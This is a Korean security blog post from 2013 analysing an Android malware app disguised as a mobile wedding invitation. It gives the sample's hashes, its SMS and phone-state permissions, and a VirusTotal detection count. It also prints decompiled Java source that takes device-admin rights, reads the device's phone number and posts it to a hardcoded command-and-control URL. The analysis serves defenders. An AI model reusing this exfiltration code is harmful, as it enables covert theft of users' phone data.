Analysis

[Android Malware] 모바일 청첩장 (duanxin.apk) 분석

DarkSoul.Story 2013. 5. 24. 10:34
반응형



아래 내용은 연구 목적으로 작성되었으며, 해당 소스코드를 악의적인 목적으로 사용하는것은 절대 엄금합니다. 악의적으로 사용하여 발생할수 있는 모든 문제는 사용한 사용자에게 있습니다. 



1. 개요


MD5 951f5afeeb86e5124cd60e28bdc1ec27
SHA1 0d1a8f0723c64310e27bef2160e0c296a9dac33b
SHA256 35061cbbf1c1d743fd4f58ed9b0c599a7d9770679f41987989eb9872d26b9508
File size 186.1 KB ( 190598 bytes )



2. 분석 내용


설치된 duanxin.apk을 실행 시키면, 아래와 같이 관리자 권한을 요구한다. 



관리자 권한을 승인하면,  [사용자가 많아 접속을 할 수 없습니다]라는 메시지만 보여주면서 화면에는 별다른 내용이 표시되지 않는다.


API 권한 정보를 정리하면 아래와 같으며, 빨간색으로 표시된 API 권한이 악의적으로 사용될 수 있다.


User Permission (악성 APP이 요구하는 권한 정보)

android.permission.SEND_SMS

android.permission.READ_PHONE_STATE

android.permission.RECEIVE_SMS

android.permission.INTERNET


악성 앱을 디컴바일 한 후 소스파일을 살펴보면, 아래와 같은 구조로 되어있다.


com.Copon.MainActivity를 살펴 보면, getLine1Number()를 이용하여, 악성 앱이 설치된 디바이스의 전화번호를 획득한다. 획득한 전화번호는 http://126.114.224.160/duanxin/login.php으로 전송하게 된다.


public void onCreate(Bundle paramBundle)

  {

    super.onCreate(paramBundle);

    setTitle("Coupon Pro");

    setContentView(2130903040);

    startService(new Intent(this, clService.class));

    TelephonyManager localTelephonyManager = (TelephonyManager)getSystemService("phone");

    SMS.usehost = "http://126.114.224.160/duanxin/login.php";

    SMS.ponNum = localTelephonyManager.getLine1Number();

    SMS.towNum = "OK!!!";

    SMS.comten = "설치성공.";

    this.mDPM = ((DevicePolicyManager)getSystemService("device_policy"));

    this.mDeviceAdminSample = new ComponentName(this, Lycreen.class);

    if (!this.mDPM.isAdminActive(this.mDeviceAdminSample))

      getAdmin();

    AlertDialog.Builder localBuilder = new AlertDialog.Builder(this);

    localBuilder.setTitle(2131165188);

    localBuilder.setMessage(2131165189);

    localBuilder.setNegativeButton("확인", new DialogInterface.OnClickListener()

    {

      public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt)

      {

        MainActivity.this.finish();

      }

    });

    localBuilder.create().show();

  }


위의 내용을 와이어샤크를 이용하여 살펴 보면 아래와 같다.



소스코드에서 확인한 IP (126.114.224.160)의 위치를 찾아보면 일본인것으로 확인되었다.


확인된 IP로 네트워크 연결 및 데이터를 보내는 부분은 아래와 같이 com.Copon.tool클래스의 getHttpConnection() 와  postHttpConnection()에서 담당한다. 


public class Tool
{
  private final String DEBUG_TAG = "tool";
 
  public String getHttpConnection(String paramString)
  {
    Object localObject1 = "";
    Object localObject2 = "";
    try
    {
      URL localURL1 = new URL(paramString);
      localURL2 = localURL1;
      if (localURL2 == null);
    }
    catch (MalformedURLException localMalformedURLException)
    {
      try
      {
        URL localURL2;
        HttpURLConnection localHttpURLConnection = (HttpURLConnection)localURL2
.openConnection();
        InputStreamReader localInputStreamReader = new InputStreamReader
(localHttpURLConnection.getInputStream());
        BufferedReader localBufferedReader = new BufferedReader
(localInputStreamReader);
        while (true)
        {
          String str1 = localBufferedReader.readLine();
          if (str1 == null)
          {
            localInputStreamReader.close();
            localHttpURLConnection.disconnect();
            if (localObject2 != null)
              localObject1 = localObject2;
            return localObject1;
            localMalformedURLException = localMalformedURLException;
            Log.e("tool", "MalformedURLException");
            localURL2 = null;
            break;
          }
          String str2 = localObject2 + str1 + "\n";
          localObject2 = str2;
        }
      }
      catch (IOException localIOException)
      {
        System.out.println(localIOException);
        Log.e("tool", "IOException");
        return localObject1;
      }
    }
    Log.e("tool", "Url NULL");
    return localObject1;
  }
 
  public String postHttpConnection(String paramString1, String 
paramString2, String paramString3, String paramString4)
  {
    HttpPost localHttpPost = new HttpPost(paramString1);
    ArrayList localArrayList = new ArrayList();
    localArrayList.add(new BasicNameValuePair("num1", paramString2));
    localArrayList.add(new BasicNameValuePair("num2", paramString3));
    localArrayList.add(new BasicNameValuePair("com", paramString4));
    try
    {
      localHttpPost.setEntity(new UrlEncodedFormEntity(localArrayList, "UTF-8"));
      HttpResponse localHttpResponse = new DefaultHttpClient().execute
(localHttpPost);
      if (localHttpResponse.getStatusLine().getStatusCode() == 200)
        return EntityUtils.toString(localHttpResponse.getEntity());
      return "接失";
    }
    catch (ClientProtocolException localClientProtocolException)
    {
      localClientProtocolException.printStackTrace();
      return "";
    }
    catch (IOException localIOException)
    {
      localIOException.printStackTrace();
      return "";
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
    }
    return "";
  }
}

duanxin.apk의 소스코드를 살펴 본 결과 초기 단계인지 모든 내용이 구현되어 있지 않은것으로 판단된다. 앞에서 살펴본 권한을 토대로 본다면, Receiver가 존재해야 한다. 소스코드를 살펴 보면, com.Copon.SMS 클래스와 com.Copon.Lycreen 클래스가 SMS 정보등을 전달하는 Receiver역할을 할것으로 판단된다. 



해당 악성 앱은 현재 (2013년 5월 24일) 바이러스 토탈에서 47개의 안티바이러스 엔진 중 15개만 탐지하고 있는 상태이다. 



반응형